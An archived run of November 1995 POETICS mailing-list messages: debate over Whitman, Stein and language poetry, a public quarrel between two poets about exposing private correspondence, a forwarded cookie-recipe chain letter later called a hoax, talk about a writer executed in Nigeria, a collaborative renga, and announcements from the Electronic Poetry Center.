Approx. 64 book-size pages--Paul Hoover, Jane Augustine, Michael Heller Kate Lila Wheeler, Lance Olson and Pierre Joris and others will be in the first issue.

Though not strictly so, the magazine is eccentrically Buddhist and eco-oriented. All types of prose and poetry are welcome.

You can order hard-copy versions at Web, P.O. Box, 6912, Colo. Spgs., CO 80934 for $10 for two issues--make checks payable to Marc L. Weber.

↑ Index

161. Edward Foster
Re: concreet letters
Tue 14 Nov 1995

for jordan: letters are discrete before they make sense; syntax may not in itself make sense, but you can't make sense without it. letters are discreet when they make less sense than they could. -ed

↑ Index

162. Tenney Nathanson
unpack
Wed 15 Nov 1995

> *Date: Tue, 14 Nov 1995 11:18:50 -0500*
> *From: Edward Foster <[redacted]>*
> *Subject: Re: yep & yep*
>
> *larry: in this matter, i've been back with whitman this morning, thinking about that particular movement and why it was open to revision and expansion. stein is equally emersonian but never frees herself from chronology, i think, but later work*
>
> *stanzas in meditation, maybe. others, early ginsberg for instance, work through increment, and that's of course not it either. fenolossa was too much a philosopher, wanted conclusions i suppose. whitman's mystery as a poet is his ability to maintain syntax but not submit to discrete letters. so many have tried, in his wake, but fail. -ed*

Ed--

unpack the Walt remarks please?

Tenney

↑ Index

163. Tenney Nathanson
urgh!
Wed 15 Nov 1995

> *Date: Tue, 14 Nov 1995 19:55:21 -0500*
> *From: Edward Foster <[redacted]>*
> *Subject: Re: concreet letters*
>
> *for jordan: letters are discrete before they make sense; syntax may not in itself make sense, but you can't make sense without it. letters are discreet when they make less sense than they could. -ed*

Dear Sir:

please attach to Uncle Walt....

thanks, T.

↑ Index

164. Spencer Selby
Re: None (I wish)
Wed 15 Nov 1995

Thanks to Gale Nelson and Charles Alexander for their thoughtful speculations about my exchange with Mark Wallace.

I am not saying "nasty things" about anyone in the poetry community, publically or privately. Also: I never called anyone a careerist. I never questioned anyone's integrity. I never said anything about "lies of Language Poets."

In fact, the only motives I've spoken of directly are Mark's, and I did that because his overwrought emotional reaction to my posts has made it seemingly impossible for him to hear what I'm saying, what I'm trying to say. He prefers a blatant, unfair caricature, such as what he has posted to POETICS.

My exchange with Mark was a private one, but I would rather go public with it than be so unfairly represented, misquoted by Mark or Jefferson Hansen. So anyone who wants to know what I really said: Post me and I'll forward the complete text of my exchange with Mark.

With Greetings and Respect to All,

Spencer Selby

↑ Index

165. Jordan Davis
something to take your mind off
Wed 15 Nov 1995

Hey kids!
Here's an url you'll really like

http://www.phantom.com:80/~fowler/bookstor/gjmcwestmass.html

It's a new book of poems by Jim McCrary!

Jordan

↑ Index

166. Charles Alexander
Re: None (I wish)
Wed 15 Nov 1995

Dear Spencer

glad you posted something as solid and simple as you did re: Wallace's remarks.

all best,
charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

167. Jordan Davis
Re: concreet letters
Wed 15 Nov 1995

At 7:55 PM 11/14/95, Edward Foster wrote:
>for jordan: letters are discrete before they make sense; syntax may not
>in itself make sense, but you can't make sense without it. letters are
>discreet when they make less sense than they could. -ed

Ed, so re whitman, the letters are discrete means the 19th c. oratorical diction and odd (Keatsian?) valence (vis a vis one word next to another) aren't combined again? That's his right place/right nerd good luck?- Jordan

↑ Index

168. **ULMER SPRING**
Re: yep & yep
Wed 15 Nov 1995

---

what about stein's using nouns as verbs?

↑ Index

169. **Mark Wallace**
my recent post
Wed 15 Nov 1995

While I appreciate the concerns regarding privacy, etc., that people have suggested in regards to my recent post, I think they are misplaced in this case. It's one thing to say that comments regarding ideas, issues, etc, that are made privately have some potential right to be kept private, although even in such a situation, I don't quite see why Mr. Selby, whom I barely know, has the right necessarily to send unsolicited ideas to me and expect that I have some obligation not to make them public. But this is not a situation regarding ideas. Mr. Selby has CALLED MY CHARACTER INTO QUESTION, and has further gone on to suggest that a number of writers who I like and admire are equally lacking in character. So I'd say to Gale Nelson that it's one thing to ask me to keep an idea private, it's another to impugn my motives, and the motives of others I respect and in some cases love, in correspondence to me and then to ask me to keep such baseless accusations to my self.

Perhaps I am personally sensitive about accusations about my motivations, although I wonder who would not be. But the issue is larger than that for me. Let me explain why. As an adjunct professor who makes a marginal living teaching literature and writing, I also have an economic concern regarding poetry. I've chosen to make my living teaching literature because, for me, it seemed most honorable to try to survive economically by professing something I believe in--I've found other jobs to compromise my integrity in ways that make me uncomfortable. I do not say that other should do what I do, but simply that it seemed the best choice for me. But as an adjunct, I have no job security. My continued employment is based on my ability to seem competent and fair, and accusations that I am not, from whatever quarter, behaving in an ethical manner are accusations I not only will, but must, take extremely seriously. Lest it seem that I exaggerate, let me point out that while I was a graduate student at the University at Buffalo, I know of one case where a graduate student was reprimanded, and in another case removed from teaching, on the basis of a student accusation of unfairness. I don't know how well grounded those accusations were, I only know they had real effects. It is my attempt here to forestall in advance anyone who might make such accusations about me, in

whatever context, so that my silence is not taken as some tacit acceptance of such accusations.

Secondly, as a resident of Washington, D.C., I am living in a politically charged environment where character slanders of the sort that Mr. Selby is spreading about contemporary poets are a commonplace political tactic. Artists in this environment, especially experimental artists, are regularly described as immoral, both in public and private, as a way of eliminating public support for the arts. It is my belief that Mr. Selby, whether intentionally or not, can only by accusing avant garde writers of unethical behavior in this way do further harm to the image of artists. When such statements are made public, as in Jonathan Yardley's recent Washington Post article claiming that artists were living finanicially lucrative existences on the basis of receiving huge amounts of public money for which they are showing no responsibility, I make an effort to respond in print. If comments attacking the integrity of artists are made privately, I feel that those comments should be "outed" as a way of taking on their pernicious influence in a public context. I am doing in these matters far LESS than I should, actually--an avant-garde writer who is far more politically effective than myself, and receives far less credit, Joe Ross, has been extremely active in helping maintain public support for the arts in the current climate, and is also one of the people who Mr. Selby's comments to me have maligned. I repeat that such accusations have no right to remain private in such a politically charged environment. They must be dealt with, and they must be dealth with forthrightly and forcefully.

I have no control over the comments that Mr. Selby makes about me or others, nor should I have such control. However, since I have therefore no control over to whom he may make comments about my activities, my best way to defend myself against them, and to defend people I respect against them, is to state publicly that I know he has made such accusations, and that, until he puts forward proof of these accusations, to state publicly that such accusations are baseless and false. I believe that Mr. Selby's "private" speech is doing a great deal of harm, and that blaming me for bringing that to people's attention is a misplaced concern in this instance. A private individual like myself is under no legal compunction to keep such accusations private, and indeed I believe that keeping such accusations private can do a great deal of harm.

I will cite, as proof of this last point, another of my own experiences, which several people on this list can also vouch for. This instance is far more extreme than that of Mr. Selby's, but is, I think, illustrative. While in graduate school, I became roomates with another graduate student in my department. Within several months, he was verbally abusing me, and finally did indeed threaten to kill me. I was forced to abandon my apartment in the middle of a Buffalo November, to call Health Services and the police, and finally to bring a large

number of friends to my apartment so that I could remove my belongings unharmed. I discovered later that other graduate students had experienced similarly violent verbal assaults from this student, but had not made their experiences known. I learned also that the English department was aware that this graduate student had a record of abusive behavior. What is the right to privacy in an instance like this? Clearly, while Mr. Selby's activities are in no way on the same level, I think it's clear that a private individual (I'm not Mr. Selby's doctor, or his priest) is not under any obligation to keep verbal assaults of any sort private.

Oddly enough, I do think that Mr. Selby BELIEVES that his accusations are ethical and proper. It is for this reason that I corresponded with him privately on this subject for some weeks. I asked him to retract his claims, or to couch them in a manner less personally offensive. He refused. I then asked him for public debate on this manner, which he also refused, saying that he had made his position on this subject known too many times, rather than otherwise. But I do not see that Mr. Selby has actually ever published such claims in any forum in which one can respond to him. He makes his accusations privately, and then demands that they be kept private, a tactic which certainly aids in his ability to spread his accusations without public response. So Gale Nelson's concern that perhaps Mr. Selby is keeping his opinions private because they are not yet "fully developed" is not true, I think, in this instance. Mr. Selby says to me that he keeps his ideas private because "no one wants to hear what he is saying." Yet, when I offered to debate him, to respond to what he was saying, he accused me of further pandering to the powers that be, and actually put the sentence "Tell him to suck up some other way" INTO THE MOUTH OF HIS WIFE, who as far as I know is not a poet and has no connection with the world of poetry. It was as a response to this particularly cowardly form of accusation that I felt a need to make the issue public. I have saved the documents in which he makes such accusations, and will, if it proves necessary, post them if I think that is the best way to protect my character and the character of others.

I am sensible to the kind suggestion, made privately to me by a number of people, that I simply shoud let such personal accusations pass. Perhaps they are beneath response, and perhaps, if I was the only one being harmed by them, that is the course I would have taken. But I believe that Mr. Selby's private accusations have potentially far-reaching consequences, and that other people need to know that correspondence with Mr. Selby, however intially harmless, can lead to personal assaults on one's character. I did not solicit Mr. Selby's comments on my article, although I did open the doors for our discussion, perhaps, by thanking him for sending me his new book, and for pointing out to him that my review (wholly positive, by the way) of his book SOUND OFF had appeared in Poetic Briefs. I am not even totally out of sympathy with some of

his ideas--I do think that problems of promotion, access to resources, etc. are under-addressed in the contemporary avant garde. But when I took issue with some of his points, which I felt were overstated and even paranoid, he began to accuse me either of corruption (making the statements I make not sincerely but out of a desire to further my own career at the expense of others) or out of blindness to what I was doing--which I suppose means that I am corrupt but too stupid to know it. Our conversation was at times heated--I told him that people have no sympathy for his position not because his position was without value, but because he begins his arguments by impugning the motives of others.

I want to thank all those who took the time to respond to me, whether critically or not. I think that slurs on the character of individual poets, even if made privately, need to be made public. I believe that rumors and slurs are at least as damaging, probably more so, than public accusations. In any case, I find it necessary to state publicly that until Mr. Selby provides documents and examples proving that I have behaved unethically, or that others are behaving unethically, that his accusations remain baseless and despicable, however much he himself believes that he is behaving honestly.

With respect, and with belief in the value of "all information at all times in all places,"

mark wallace

↑ Index

170. Mark Wallace
cookies (fwd)
Wed 15 Nov 1995

On another political issue entirely, I forward the following.

mark wallace

---------- Forwarded message ----------
Date: Mon, 13 Nov 1995 17:19:36 -0500
From: Robin Meader <[redacted]>
To: Multiple recipients of list GWENGL <[redacted]>
Subject: cookies (fwd)

Forwarded message:

This $250 cookie recipe may be timely for the holidays.

> *From [redacted] Mon Nov 13 12:07 EST 1995*
> *Date: Mon, 13 Nov 1995 12:07:08 -0500*
> *To: [redacted]*
> *From: [redacted] (Shahram Sarkani)*
> *Subject: cookies (fwd)*

Content-Length: 3517

Date: Thu, 9 Nov 1995 17:42:07 -0500 (EST)
From: Blakely Holman Willis <[redacted]>
To: [redacted]
Cc: [redacted], [redacted],
[redacted]
Subject: cookies (fwd)
Content-Length: 2957

Eat up!

This message is sent to you with the hope you will forward it to EVERYONE you have ever even seen the e-mail address of. In the spirit of the originator, please feel free to post it anywhere and everywhere.

****

Okay, everyone....a true story of justice in the good old U.S. of A. Thought y'all might enjoy this; if nothing else, it shows internet justice, if it can be called that.

My daughter & I had just finished a salad at Neiman-Marcus Cafe in Dallas & decided to have a small dessert. Because our family are such cookie lovers, we decided to try the "Neiman-Marcus Cookie." It was so excellent that I asked if they would give me the recipe and they said with a small frown, "I'm afraid not." Well, I said, would you let me buy the recipe? With a cute smile, she said, "Yes." I asked how much, and she responded "Two fifty." I said with approval, just add it to my tab.

Thirty days later, I received my VISA statement from Neiman-Marcus and it was $285.00. I looked again and I rememberd I had only spent $9.95 for two salads and about $20.00 for a scarf. As I glanced at the bottom of the statement, it said, "Cookie Recipe - $250.00." Boy, was I upset!! I called Neiman's Accounting Dept. and told them the waitress said it was "two fifty," and I did not realize she meant $250.00 for a cookie recipe.

I asked them to take back the recipe and reduce my bill and they said

they
were sorry, but because all the recipes were this expensive so not just everyone could duplicate any of our bakery recipes....the bill would stand.

I waited, thinking of how I could get even or even try to get any of my money back.

I just said, "Okay, you folks got my $250.00 and now I'm going to have $250.00 worth of fun." I told her that I was going to see to it that every
cookie lover would have a $250.00 cookie recipe from Neiman-Marcus for nothing. She replied, "I wish you wouldn't do this." I said, "I'm sorry but
this is the only way I feel I could get even," and I will.

So, here it is, and please pass it to someone else or run a few copies.... I
paid for it; now you can have it for free.

THE NEIMAN-MARCUS COOKIE
(Recipe may be halved):

2 cups butter
4 cups flour
2 tsp. soda
2 cups sugar
*5 cups blended oatmeal**
24 oz. chocolate chips
2 cups brown sugar
1 tsp. salt
1 8-oz. Hershey Bar (grated)
4 eggs
2 tsp. baking powder
3 cups chopped nuts (your choice)
2 tsp. vanilla

*** measure oatmeal and blend in a blender to a fine powder.*

Cream the butter and both sugars. Add eggs and vanilla; mix together with flour, oatmeal, salt, baking powder, and soda. Add chocolate chips, Hershey
Bar and nuts. Roll into balls and place two inches apart on a cookie sheet.
Bake for 10 minutes at 375 degrees. Makes 112 cookies.

Have fun!!! This is not a joke - this is a true story.

> **********
>
> *That's it. Please, pass it along to everyone you know, single people, mailing*
> *lists, etc.....*
>
> *Ride free*
> *citizen!!*

↑ Index

171. **Mark Wallace**
cookies
Wed 15 Nov 1995

Actually, I just found out (oops!) that the cookies thang is a funny hoax! Enjoy them anyway.

mark wallace

↑ Index

172. **Aldon L. Nielsen**
Re: the price of a price
Wed 15 Nov 1995

---

ed,,, for $2.00 all I can give up is the poetry -- the intergity costs another three bucks -- got to stick to some sense of value, after all!

↑ Index

173. **Aldon L. Nielsen**
Re: the return (again) of the repressed
Wed 15 Nov 1995

This current exchange does take me back indeed. (Not all that far back -- the chief perpetrator still works [if what he does could be called work] in an office beneath my own.)

Back in May of 1979, Alan Soldofsky wrote in the _Poetry Flash_ as follows: "The intellectual and linguistic concerns of the 'language poets' [note this appearance you guys at the _OED_] are both an inevitable and peculiar outgrowth of the narcissistic preoccupations of the group of writers that comprised what was called the 'New York School' in the late sixties."

There you have it; the careerism of the present bunch as the result of the naricissistic careerism of the previous bunch! From no less an authority than "professor" Soldofsky.

Steve Abbot, in that same issue, wrote:

"As a whole, the group is quite industrious. They've organized several presses, reading series and a talk series. Individually, however, many seem uncomfortable and at times suspicious or self-effacing about the attention they are now receiving."

Bruce Boone offered a letter in July of 79 that made rare good sense:

"We should be clear about one thing--this dispute is not going to go away by itself. But it does need to be carried on with an awareness of the common stakes involved. The alternative is to suppose that questions about technique and about social responsibility are just unrelated."

enough said?

↑ Index

174. Joe Amato
mark and spencer...
Wed 15 Nov 1995

---

hey, both you guyz: i'm not utopian enough to believe that *anything* could heal the damage you've both obviously subjected each other to, intentionally or no...

but there is something of a flawed logic in all of this, and it begins with an understanding of what poetics---this list---IS, and could be...

mark: really, whatever your feelings about spencer's remarks, keep in mind that i for one don't know him personally and that i for one don't know you personally... i mean, like, though there are plenty of 'language writers' around these parts, to presume upon these regions in terms such as you've put forth---to "out" spencer based on (presumably) baseless accusations he's made to you (personally) about some poetry "public"---is likewise to "out" me some...

i'm feeling left out, i mean... do you get this?... do you see yourself through my screen, the one here in my spare bdrm., in my chicago apt.?... regardless my feelings about whether you're justified in opening private correspondence (as

you have) in a public forum that is itself quasi-public domain, i have OTHER feelings re this list... and you're presuming upon them some... unless of course i'm to sit back snidely watching the machine you've put in motion raise all sorts of "hell" with a number of folks i DO know (and care) about yet who, with regard to your concerns, seem to become through synecdoche the entire community hereabouts...

and spencer: whether or no you've got a beef about undue careerism, why shit, man---you've been put on the spot, no doubt about it, and it's clear that you musta posted SOMETHING to raise mark's ire, no?... so what the hell, why'nt you give it a go?---whatever the hell it is that's bugging you, why'nt you S-P-E-L-L it out?... what have you got to lose?---save perhaps for having ceded to mark's provocations...

one thing though: when/if you do so, i'd ask only that you keep in mind what i'm busy busting mark's chops about---that there are others on this list, such as mself (and you?) who are (1) NOT inexperienced and (2) NOT a part of the 'language writing community' as such, save through personal acquaintances and friendships and the like... regardless whether you've 'heard' of me (ugh) the point i'm making here is that i wish not to be left OUT of some presumed poetry "world"... by which i certainly am NOT saying that i wish to be "one of [ ]" (i'm certain you understand the paradox here---it's a common enough poetry anxiety)...

there is, in short, a question of whence one speaks, and for whom...

since connections are particularly fuzzy in the virtual scene, and since being "a part of" may consist simply of 'being friendly with,' and since (as charles a. has so nicely glossed it) we are ALL careerists to a certain extent, and since i have NO desire to wish away some very real power relationships re "schools" of poetry and the like: it might do some good to discuss issues of "poetry careerism" from the vantage point not so much of personal egos but of how the various constituencies of poetry/poetics maneuver themselves in the midst of more discursive realities... this may require a bit of historicizing, no?...

if this post sounds a tad cranky or defensive, it's b/c i've seen this sorta presumption operate all too often in list 'communities,' whereby the one or two presume to speak for the many...

and i for one prefer to speak for mself, as but one of a many...

all best//

joe

↑ Index

175. Burt Kimmelman
Re: the return (again) of the repressed
Wed 15 Nov 1995

aldon et al.,

the likening in 1979 of lang poets and ny school finally does more harm than good--in the way that taggart and retallack don't write the same kind of stuff, as demonstrated in a recent post, to my mind satisfactorily.

i recall lewis turco at a big conference in cleveland in the mid 1980s say that black mountain poets were beat poets (he did NOT mean that the bm's were LIKE the beats); here in this lumping together nothin is gained.

anyway, poetry schools always, as in the example used about the objectivists (which ignored lz/s issue of Poetry), are not finally accurate, but they help descriptively in order to get started in understanding a poet or poets. yet as has been noted by several folks on this list of late, the lang poets (whoever in this wide world they may be in theory or otherwise) marketed themselves, strategized about how to gain readers and other things, and thus they themselves, if not somewhat amorphically, by deed proclaimed a school of poetry.

am i wrong about this?

Burt

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176. Jordan Davis
Re: yep & yep
Wed 15 Nov 1995

At 9:35 AM 11/15/95, ULMER SPRING wrote:
>what about stein's using nouns as verbs?

Rereading the 4th ed Hopkins (brought back by my blustering at Larry Pr re Olson) I saw Hopkins accused of the same tactic--of course now I can't find the citation--but it looked more like the verb was suppressed.. wait. maybe it was verbs used as nouns "the achieve of"... in which case guilty

Jordan

↑ Index

177. Rod Smith
Re: mark and spencer...
Wed 15 Nov 1995

A few thoughts on all this:

1. Poets (i.e. people) talk trash a lot. 1.1. It's boring. 2. Spencer's new book _No Island_ is worth reading. 3. Mark may have "over-reacted" a bit by going public though I'm not convinced of this, in any case it's an interesting over-reaction. He's not just spewing confusion he's trying to deal with it in a constructive manner. I don't know Spencer's take, he may feel "betrayed," but obviously so did Mark. 4. Joe Amato's comments about 'one or two presum[ing] to speak for the many' & I believe it was Jordan who said "what's all this HEGEMONY then?" -- point, I think, at the primary alienation underlying-- just to presume a minute-- that we all feel "betrayed" by the economic structure we have to attempt to negotiate. This may be our failing. Collectively, we may not be able to do any better (poets, i.e. people here again). We may not be able to construct a society in which the human is valued over payola, thus we will continue to behave like idiots, devaluing each other personally, & being controled by honchos in boardrooms six floors away. This relates to the question of "evaluation" James Sherry brought up, & is merely a sketch, Chomsky or Mouffe or Wallerstein etc. Our "psychology" may be able to see what we should be, but not quite get there. 4.1. Am I wrong? Hope so. 4.2. With regard to the "derivative" nature of "2nd gen language poets"-- seems the "1st generation" outlined many of its "source texts" quite well? & other connections such as _Tel Quel_ & Nouveau Roman not as much discussed but divinable hmm? 4.121. -- Rod

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178. Ron Silliman
Re: trouble
Wed 15 Nov 1995

Mr. Patrick Phillips wrote:
>
>Somebody tell me, what's all this stuff about integrity?
>
>Whose?
>
>And what the hell is "the integrity of poetry???"
>
>I'd be willing to give somebody five bucks if they could honestly tell me.

>
>- standing offer.

The integrity of poetry is whatever anybody wants it to be when they don't want their own motivations seen/discussed/questioned.

Since I'm at Comdex this week, I'll take that in quarters.

Ron Silliman
Piero's Restaurant
Las Vegas, NV

↑ Index

179. Ron Silliman
Flame wars and meaning
Wed 15 Nov 1995

While you folks have been squabbling about your and my careers, not one word has appeared on this list about the fact that a writer was executed in Nigeria last week, at least as much for his writing as for anything else he may have done.

Ron

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180. Steve Carll
Re: yep & yep
Wed 15 Nov 1995

At 12:36 PM 11/15/95 -0500, you wrote:
>At 9:35 AM 11/15/95, ULMER SPRING wrote:
>>what about stein's using nouns as verbs?
>
>Rereading the 4th ed Hopkins (brought back by my blustering at Larry Pr re
>Olson) I saw Hopkins accused of the same tactic--of course now I can't find
>the citation--but it looked more like the verb was suppressed.. wait. maybe
>it was verbs used as nouns "the achieve of"... in which case guilty
>
>Jordan

What's the penalty for this one? Nouns and verbs swap places all the time--it's one of the ways English (and many other languages as well) generate new syntactic units. I read what can only have begun as an academic study on Cummings' deployment of this and many other "deviant" strategies in his poetry a couple of years ago: _E.E. Cummings and Ungrammar_ by Irene R. Fairly

(Watermill Publishers, NY). Very interesting, but a bit example- and endnote-heavy. Interestingly, Cummings and Stein never appreciated each other's work as much as one might think they would (I might think they would, anyway.)

Steve

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181. Kenneth Sherwood
EPCLIVE schedule of Events
Wed 15 Nov 1995

EPCLIVE Calendar

---------- This first series of happenings on EPCLIVE (the real-time performance channel on the undernet IRC network) will take place mondays from 6:30-8pm EST (11:30pm GMT).

"Events" are semi-formal discussions with invited guest(s) and a prearranged topic; "Open Field" is a collaborative improvisation session; "Exchanges" are informal discussions around a general theme.

For more information on EPCLIVE go to http://writing.upenn.edu/epc/epclive
---

November
20 Grand Opening / Coffee House
27 Exchange--on Writing and Anthologies

December
4 Open Field
11 Event--Poems for the Millennium: a discussion with Pierre Joris and Jerome Rothenberg on their newly released anthology of Modern and Postmodern Poetry.
18 Open Field

January
8 Coffee House
15 Event (Guest and topic TBA)
22 Exchange--on Electronic Writing

EPCLIVE can also be used at other times for formal or informal events. We will be glad to publicize gatherings organized by others in this space and to take suggestions of topics for Events/Exchanges or answer questions regarding EPCLIVE.

Write [redacted] or [redacted]

k.s.

nov. 95

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182. **Tony Green**
Re: Flame wars and meaning
Wed 15 Nov 1995

---

re Nigeria and that Commonwealth Heads of Government voted Nigeria out of the Brit Commonwealth and that boycotts of Shell Oil are happening as a result of its involvement in Nigeria and that the British are convinced the militaryt regime in Nigeria is "on its last legs. The execution of nine men in Nigeria sparked the comment and action. According to Amnesty International they were not given proper civil trialsd with the ensuing right of appeal, but were brought before military tribunals on charges of murder. All this has figured heavily in the news media here and I'm summarising here. Yes it was a poet went down, but I don't know his poetry....it aoppears that he was involved in protest about exploitation of his extremely oil-rich tribal area by the Nigerian military govt. ogvt

Tony Green,
e-mail: [redacted]

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183. **Jordan Davis**
they changed the url
Wed 15 Nov 1995

They changed the url

http://www.thing.net/~grist/golpub/mccrary/jmcwest.htm

will get you to McCrary (and incidentally some visual poemas by Bill Luoma)

Jordan Davis

↑ Index

184. **Aldon L. Nielsen**
Re: regurgitation of the repressed
Thu 16 Nov 1995

Burt! buddy! that was a quote from a fool -- _NOT_ in any way a suggestion that anything indicated in the quote had any truth value whatsoever -- just the contrary -- Of course the connection made by Soldofsky in his diatribes on "The

POetics of Narcississm" does more harm than good -- that's _why_ I was reminding folks of this previous iteration of the "careerism" debates --

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185. **Spencer Selby**
Re: trouble
Thu 16 Nov 1995

I _was_ going on the assumption that Mark and were friends, not close but with mutual respect and seemingly the basis, in sympathy and understanding, for candid honesty and thoughtful disagreement.

At a couple of points, things were said by both Mark and I that could be interpreted as accusatory or insulting by the other. The record will show (now I'm sounding like a lawyer too) this was mutual, that Mark's claim that this was one-sided is completely false.

I would not use Mark's accusations as justification for launching an all-out assault on Mark, as he has done with me. Using Mark's reasoning, I could very well do that. But I will not, even though I think he has impugned my character more than I have impugned his.

As I said last night, I never questioned anyone's integrity. Mark kept bringing integrity up, and once as a threat, saying mine would be in question if I did not debate him publicly.

I did at one point use the term "careerist." Discovered this in going over the posts today. I did not mean this as a characterization or maligning of anyone's character. I used the term in talking about two kinds of success--writing good poetry vs. publishing lots of books and/or getting more audience support.

I tried to stick to the issues and have tried my best to dissuade Mark from taking things personally. My effort failed and perhaps I could have done better. Or maybe it was hopeless from the start. Maybe Mark just can't see it any other way, because of his experience. If so, I am sorry. And if I had known this going in, I would never have started the exchange.

There is one thing on my mind now, that I must speak to before I shut up. This tendency to take as a deadly or serious threat things that are said that one doesn't agree with or like, this tendency is, in my opinion, the real threat. It is this tendency that the right and forces of repression use to justify their curbs on freedom. If we on the left, who all share a commitment to freedom of expression, do not encourage all honest, open communication and dissent. If we only pay lip service to this in principle, while in practice, when dissent hits home or upsets us, react as if to a threat that must be stopped. If we do this or

support it, then we are all in trouble--no matter what we believe about anything else.

Spencer Selby

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186. **Spencer Selby**
Re: trouble, the movie
Thu 16 Nov 1995

I've had my share of literary battles, skirmishes and run-ins, but I believe that Mark's recent posts represent the high point or low, the most extreme, irrational outburst I've encountered in my 20 years as a poet. Of course, in saying that, I'm further impugning Mark's character, I'm letting myself in for perhaps another barrage. Who knows, maybe this time he'll do more than rail against me. Maybe he'll start to think that I _do_ want to kill him, that he must get me first.

Maybe I'm a fool to say anything in my own defense (some have said as much). Maybe I'm only drawing myself deeper into this nightmare vortex, this poetry film noir, this paranoid dream where danger and threats lurk at every turn.

A month ago Mark and I were friends, or so I thought. Not close friends, but friendly peers that I thought had a lot more in common than differences. Mark called me Spencer back then, no hint of the ominous appellation "Mr. Selby," and claim to "barely know" me, that lay around the next bend. No hint that Mark couldn't handle my direct, sometimes blunt, verbal style. No hint that Mark felt so threatened and surrounded by evil. That Mark lived in a world where everything might suddenly become a life-and-death, dog-eat-dog struggle for survival. That everything might at any moment collapse into a vicious, primitive realm of us vs. them. A realm where yesterday's polite discussion is today's mortal combat, where honesty between two peers could spontaneously explode into the worst kind of rancorous, damaging conflict.

Sounds like a Hollywood movie alright, and not a very good one at that. Maybe a better writer and a top director could do something with it. Maybe if we could get some good stars--say Pacino as Mark and De Niro as me. Get Scorsese to direct. The avant garde poetry setting would be a good twist. Scorsese could do a lot with that, linking his poetic style and themes (power!) to the taut, overblown content.

Then if the movie was a hit, maybe this would spill over into poetry sales, help us get some sort of an audience. It would only be a temporary blip on the big screen, but better than nothing. Better than more of the same.

Spencer

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187. Jeff Hansen
None
Thu 16 Nov 1995

About the writer and activist recently killed in Nigeria:

1. Can anyone inform us of the current political climate? I know that a coup took place a year or two ago, and that the miners went on strike to protest the military government. Is there anything else we should know?

2. Should we, as a group, send a protest of some sort to the current Nigerian regime? Would it be possible for intereested people on this list to sign a group letter?

3. If interested, please e-mail me with your ideas. I am willing to write an initial draft that can be added to etc. by others. I think we should, however, respond in a timely fashion.

4. I feel that we should do something. Nigeria is the land of Christopher Okigbo, Wole Sowinka and others. I would hate to see this sort of repression go unanswered.

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188. Daniel Bouchard/College/hmco
J.H.'s letter idea
Thu 16 Nov 1995

>> Should we, as a group, send a protest of some sort to the current Nigerian regime? Would it be possible for intereested people on this list to sign a group letter?

I'm pretty sure that a government which hangs its own writers would not be interested in the dissent of foreign writers. Registering protest with the UN or the State Department may be more worthwhile.

Jeff, I would be interested in such a letter.

[redacted]

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189. Charles Alexander
Re: trouble
Thu 16 Nov 1995

I will now delete the Wallace/Selby "trouble" messages before reading. Do we need this to be a public debate? or public flogging?

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190. Gale Nelson
Re: On Certanty
Thu 16 Nov 1995

"114. If you are not certain of any fact, you cannot be certain of the meaning of your words either."

-- Ludwig Wittgenstein, _On Certainty_

For no particular purpose...

Gale

↑ Index

191. Daniel Bouchard/College/hmco
New(t) Address for your use
Thu 16 Nov 1995

He's not a member of the poetics list but if you want to register a complaint about careerists and other characters who debase the integrity of the legislative branch of our government, please e-mail Newt Gingrich at the following address:

[redacted]

Feel free to pass this along.

[redacted]

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192. Lucinda Potts
Re: Flame wars and meaning
Thu 16 Nov 1995

On Wed, 15 Nov 1995, Ron Silliman wrote:

> While you folks have been squabbling about your and my careers, not one word
> has appeared on this list about the fact that a writer was executed in

> Nigeria last week, at least as much for his writing as for anything else
> he may have done.
>
> Ron
>
Yes, I heard about that. Has anybody read any of his stuff? Why did the Nigerian government find it offensive?

Thanks,
Cindy

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193. Jordan Davis
Re: renew renga
Thu 16 Nov 1995

As I listened to the argument with ear to the wall
The pit at the tip of my tongue hung gracefully
I know I was punished for objecting to one man-one groan.
After the dance of the devils on the head of a pin
Aunt Matilda came away with the impression and ironed pants
with metro paradise and sheet metals & captain stots hanging
in bold faced afterglow, the way we had imagined forenoon all embedded
in syntax that was not designed for use. Yet "you" are "rubbery".
"I" am "scared" of "the man" in "the subway"

↑ Index

194. Lisa Samuels
Re: renew renga
Thu 16 Nov 1995

Jordan Davis:

As I listened to the argument with ear to the wall
The pit at the tip of my tongue hung gracefully
I know I was punished for objecting to one man-one groan.
After the dance of the devils on the head of a pin
Aunt Matilda came away with the impression and ironed pants
with metro paradise and sheet metals & captain stots hanging
in bold faced afterglow, the way we had imagined forenoon all embedded
in syntax that was not designed for use. Yet "you" are "rubbery".
"I" am "scared" of "the man" in "the subway", so
hungry for eternal gratitude i forged in consciousness
the unremitted pleasure of decay, the harking for the

lyrically long day, one time too many splayed apart
against the wall, such arteries of willingness
to please fell down, the paint spilled up and there we
were, possessing all the ground. 'hurray!' bespoke
the diners, one and all, deliriously sated by the roaring
sound of trains and training ear and eye, raining
excess, reigning access, all the possibles
given over, 'o hurray!'

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195. ULMER SPRING

Re: yep & yep

Thu 16 Nov 1995

---

i woodchuck the africa with manyhold of all some sort. cannot lever with and wonder all time concertina. noun verb fungle. wood suggest it is liberatory. liberary toy. didn't meen to connote deadcourse. was a passing.

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196. Loss Glazier

EPC flyer (revised)

Thu 16 Nov 1995

THE ELECTRONIC POETRY CENTER (EPC)

URL=http://writing.upenn.edu/epc

THE ELECTRONIC POETRY CENTER (EPC). The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The EPC provides access to numerous electronic resources in the new poetries including RIF/T: an Electronic Space for New Poetry, Prose, & Poetics, the Poetics List archives, a text library of poet/author home pages, LINEbreak (sound files of interviews and performances which showcase and archive contemporary writers at work) and information about EPC.Live, our series of online literary events.

In addition, the EPC houses and distributes electronic poetry journals including Brink, DIU, the Experioddi(cyber)cist, Inter\face, Juxta/Electronic, Passages: A Technopoetics Journal, the Segue Foundation/Roof Book News, Tinfish, TREE: TapRoot Electronic Edition, We Magazine, and Witz. We also offer access to and

news of related print sources from small presses. Other electronic resources include numerous electronic poetry journals and connnections to related Internet poetry and poetics resources. Or use our Online Directory of Poets and Critics to correspond with one of our listed poets and scholars.

Texts housed at the Electronic Poetry Center, texts are "definitive" texts inasmuch as, prior to posting, they have been approved by their producers.

Access to the Center: For those with World-Wide Web (lynx) or Mosaic access choose your go to URL option then go to (type as one continuous string): http://writing.upenn.edu/epc

Check with your system administrator if you have problems with access. Also ask about setting a "bookmark" for quick and easy access to the Center when you log on.

